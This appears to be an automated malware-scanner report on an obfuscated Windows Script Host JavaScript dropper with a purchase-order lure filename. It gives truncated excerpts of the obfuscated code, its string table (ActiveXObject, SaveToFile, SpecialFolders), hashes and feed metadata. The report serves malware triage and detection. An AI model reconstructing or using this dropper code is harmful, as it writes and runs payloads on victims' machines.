28359d2d8054f8650bfdb99aa395ef2bba62846005e3f4748b2aca8f173f8bcb 1149
JAVASCRIPT
Verdict: HOSTILE
AI
Obfuscated WSH dropper writing payload
Local reference
Suspicious dependency
Inferred
RFQ Q26-1149.JS
javascript
| 293:82 |
…), "x86data"]);(function (ABTUVQFLAWSVYYHQQE, _0x96c142) {
|
|
| 294 |
var _0x18a803 = ABTUVQFLAWSVYYHQQE();
|
Obfuscated WSH ActiveX script writes a payload through SaveToFile |
| 295 |
function _0x8c58fe(_0x34b445, _0x5aee48, _0x184d7d) {
|
|
| 296 |
return _0x1b2d(_0x5aee48 - '0xca', _0x34b445);
|
|
| 297 |
}
|
|
| 298 |
function _0x26264b(_0xd6e… |
|
| 310:43 |
…
|
|
| 311 |
break;
|
|
| 312 |
} else {
|
|
| 313 |
_0x18a803['push'](_0x18a803['shift']());
|
Obfuscated WSH ActiveX script writes a payload through SaveToFile |
| 314 |
}
|
|
| 315 |
} catch (_0x507379) {
|
|
| 316 |
_0x18a803['push'](_0x18a803['shift']());
|
|
| 317 |
}
|
|
| 318 |
}
|
|
| 319 |
}(_0xb294, 0xdf88b));
|
|
| 320 |
var _0x42cd23 = _0x1d7b;
|
|
| 321 |
(function (_0x10d458, _0x25dd31) {
|
|
| 322 |
function _0xc9d7d5(_0x… |
|
| 4221:83 |
… _0x763e5f += _0x46f420[_0x54f9d3(0x222)], _0x763e5f += _0x46f420[_0x5d136b('0xc1', -'0xa7', -'0x29a')];
|
|
| 4222 |
}
|
|
| 4223 |
var MNHHCRXTUIOP = new ActiveXObject(MNHHTUIOP);
|
Obfuscated WSH ActiveX script writes a payload through SaveToFile |
| 4224 |
function ABTUVQFLAWSVYYHQTY(_0x1a90ec) {
|
|
| 4225 |
var _0x45df5b = _0x42cd23;
|
|
| 4226 |
function _0x4acd45(_0x5a7230, _0x50e527, _0x124955) {
|
|
| 4227 |
return _0x1b2d(_0x50e527 - -'0x8e', _0x5a7230);
|
|
| 4228 |
}
|
|
| 4229 |
var _0x37ae0d = {
|
|
| 4230 |
'Qayxk': _0x4acd45(0x433,… |
|
| 4671:96 |
…58c29 += _0x8ba99f[_0x586750(0x34b)], _0x558c29 += _0x5cad3c(0x109 * -0x7 + 0xacf + 0x1 * -0x275);
|
|
| 4672 |
}
|
|
| 4673 |
var scriptName = WScript[ABTUVQFLAWSVYYHQAAA(-0x32 + -0x1 * -0x17ab + -0x45 * 0x4e)];
|
Obfuscated WSH ActiveX script writes a payload through SaveToFile |
| 4674 |
function ABTUVQFLAWSVYYHQCX(_0x3e2f96) {
|
|
| 4675 |
function _0x55bef6(_0x10d2ec, _0x130551, _0x5c21d4) {
|
|
| 4676 |
return _0x1b2d(_0x10d2ec - '0x3b6', _0x5c21d4);
|
|
| 4677 |
}
|
|
| 4678 |
var _… |
|
| 8542:17 |
…
|
|
| 8543 |
'CreateObject',
|
|
| 8544 |
'ihAfs',
|
|
| 8545 |
'pBgMJ',
|
|
| 8546 |
'SaYOv',
|
|
| 8547 |
'CET_IBT',
|
|
| 8548 |
'xiRtN',
|
|
| 8549 |
'SaveToFile',
|
Obfuscated WSH ActiveX script writes a payload through SaveToFile |
| 8550 |
'kQzyD',
|
|
| 8551 |
'SpecialFolders',
|
|
| 8552 |
'W:zmm\x20{kz},\x20zmm/m512/b16',
|
|
| 8553 |
'JNjfX',
|
|
| 8554 |
'HrSqW',
|
|
| 8555 |
'FbhpT',
|
|
| 8556 |
'xMusR',
|
|
| 8557 |
'ABTUVQFLAWSVYYHQOIIIIIadd132ph',
|
|
| 8558 |
'ryNEr',
|
|
| 8559 |
'LESPj',
|
|
| 8560 |
'AFXFC',
|
|
| 8561 |
'nodeTypedValue',
|
|
| 8562 |
'Close',
|
|
| 8563 |
'LKDpX',
|
|
| 8564 |
'vhBOV',
|
|
| 8565 |
'gger',
|
|
| 8566 |
'JfgEr',
|
|
| 8567 |
'ABTUVQFLAWSVYYHQPPPPeloadd… |
|
Identity
| SHA-256 |
28359d2d8054f8650bfdb99aa395ef2bba62846005e3f4748b2aca8f173f8bcb |
| Canonical SHA-256 |
00e4fb337bbd174887ed4ea9cbe51bd0d8cbbcd9fe16c151085a26202f289e48 |
| Filename |
RFQ Q26-1149.JS |
| Package |
28359d2d8054f8650bfdb99aa395ef2bba62846005e3f4748b2aca8f173f8bcb |
| Version |
1149 |
Origin
| Source |
harvest |
| Feed |
malwarebazaar |
| Ecosystem |
javascript |
| Domain |
malshare.com |
Timeline
| First seen |
5 Aug 2026 17:31 UTC |
| First analyzed |
5 Aug 2026 23:41 UTC |
| Last analyzed |
5 Aug 2026 23:41 UTC |
| Last updated |
5 Aug 2026 23:41 UTC |
Labeling
| Label |
bad |
| Label source |
harvest |
| Traits version |
b5ca8 |